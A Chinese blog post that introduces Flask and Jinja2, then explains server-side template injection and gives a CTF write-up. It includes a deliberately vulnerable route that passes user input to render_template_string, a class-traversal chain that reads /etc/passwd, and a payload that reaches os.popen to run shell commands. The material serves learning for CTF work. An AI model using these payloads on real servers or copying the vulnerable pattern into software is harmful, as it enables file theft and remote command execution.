flask入门

前言

这篇文章是我在做有关SSTI漏洞的CTF题时发现自己需要弥补这方面的知识写下的,也是自己在这方面不断摸索,读过许多大佬们的博客过后所学的的一些知识,如果其中有言语上的错误,希望大佬可以指正。

什么是SSTI漏洞

flask/SSTI漏洞完整的叫法应该是Flask(jinjia2)服务器端模板注入漏洞.SSTI主要为python的一些框架 jinja2 mako django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。由于所见到的题为flask模板注入,所以本文着重对其进行分析。

基础部分

Flask简介

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

什么是模板引擎

模板文件就是按照一定的规则书写的展示效果的HTML文件模板引擎就是负责按照指定规则进行替换的工具。模板引擎选择jinja2。

使用flask写一个"Hello,World!"

你需要在配置过python的环境下进行测试。pycharm安装flask会自动导入flask所需的模块,所以我们只需要命令安装所需要的包就可以了。进行实验的时候通过左上角新建项目时直接可以建立flask项目

输入下面的代码并运行,如果你没有安装flask模块的话会报错。

运行以后会显示如下

 

 运行127.0.0.1:5000就可以的到回显

 

route装饰器路由

from flask import flask 
@app.route('/')
def hello_word():
    return 'hello word'
以这段代码举个例子route就是装饰器,它的作用就是将函数与url绑定起来,告诉flask这个url可以去触发这个函数,这句话(@app.route('/'))就相当于路由,一个路由跟随一个函数。

from flask import Flask
@app.route('/test')
def hello_word():
    return '123'

这里需要通过127.0.0.1:5000/test来访问,会返回123.

Jinja2模板的部分语法
1.变量
Jinjia2使用{{name}}结构
表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获
取。
inja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤
器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
 Hello, {{ name|capitalize }}
2.if语句
  
{% if user %}
       Hello,{{user}} !
  {% else %}
       Hello,Stranger!
  {% endif %}

 


3.for语句
 
 <ul>
       {% for comment in comments %}
           <li>{{comment}}</li>
       {% endfor %}
  </ul>


模板渲染

我们可以使用render_template()方法来渲染模板。我们要做的就是把模板名和关键字的参数传入到模板变量,看个例子:
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html')

 

 
render_template函数渲染的是templates中的模板,所以我们在项目的目录下建一个个templates文件夹,那里是存放模板文件(html)的。
templates和app.py文件是在同一级的。

 

 

 这个时候页面的输出则会根据user这个字典里name的值来变化

{{}}在Jinja2中作为变量包裹标识符

 

 

 模板注入

SSTI文件读取/命令执行

在Jinja2模板引擎中,{{}}不仅可以传递变量,还可以执行一些简单的表达式。

我们使用下面这个代码作为例子

 

 

@app.route('/SSTtest')
def test():
code = request.args.get('id')
html='''
<h2>%a<h2>
'''%(code)
return render_template_string(html)

 

 

 

 

这段代码存在漏洞的原因是因为数据和代码的混合。代码中的code是用户可控的,回合html拼接在一起然后进入渲染,如果我们单纯的

用id传入数值或者字母的话,其返回结果就是我们所输入的。

 

 

 

 

 但如果我们使用变量包裹标识符来传递变量的话,就可以看到表达式会被执行。这种情况下也会有xss的产生

 

 

 

 

 

 

在flask里也有一些魔术方法和全局变量,通过这些我们可以加以利用来实现文件读取和命令执行。例如下面的例子

这种魔术方法就很类似于一种映射,通过一个对象来找到另一个对象,这里是我们通过一个字符串对象,找到了一个文件对象

然后在初始化,读取。

下面是列举的几个魔术方法,这些是我看一些大佬博客的总结。

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类(Object类是所有类的父类,包括我们所写的类。)
__base__和__mro__ 都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

接下来的我就不截图了。

 

 

 

1.获得一个字符串实例
>>>""
''
2.获得其父类 >>>"".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3.获得父类的object类
>>>"".__class__.__mro__[2] ([]的意思是选择哪一个父类)
<type 'object'>
4.使用__subclasses__()方法,获得object类的子类
>>>"".__class__.__mro__[1].__subclasses__()
<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>
5.
获得第40个子类的一个实例,即一个file实例(因为第40个是<type 'file'>,file类文件是可读取的)
>>>"".__class__.__mro__[1].__subclasses__()[40]
<type 'file'>
6.对file初始化
>>> "".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

7.使用file的read属性读取,但是被提示这是一个方法
>>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>
8.使用read()方法读取
>>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()
这样就可以读出这个文件的内容了

 

这些都是为了做一道CTF题做的功课,我顺便把那道题的wp也写了。

 

 首先先通过包裹标识判断出存在模板注入,我们需要找到'os'所在的`site._Printer`类,这样我们就可以使用os命令了。它在第72位,所以是'__subclasses__()[71]'

__subclasses__()[71].__init__.__globals__['os'].popen('').read()来调用副武器的控制台,并显示结果,使用玩这个命令我们就可以

用控制台输出了。(popen('ls').read()`,ls量)

找到了一个叫fl4g的文件,那么我们用cat命令读取试试

 

 就得到了flag

 

posted @ 2020-02-29 20:03  EternallyW  阅读(283)  评论(0编辑  收藏  举报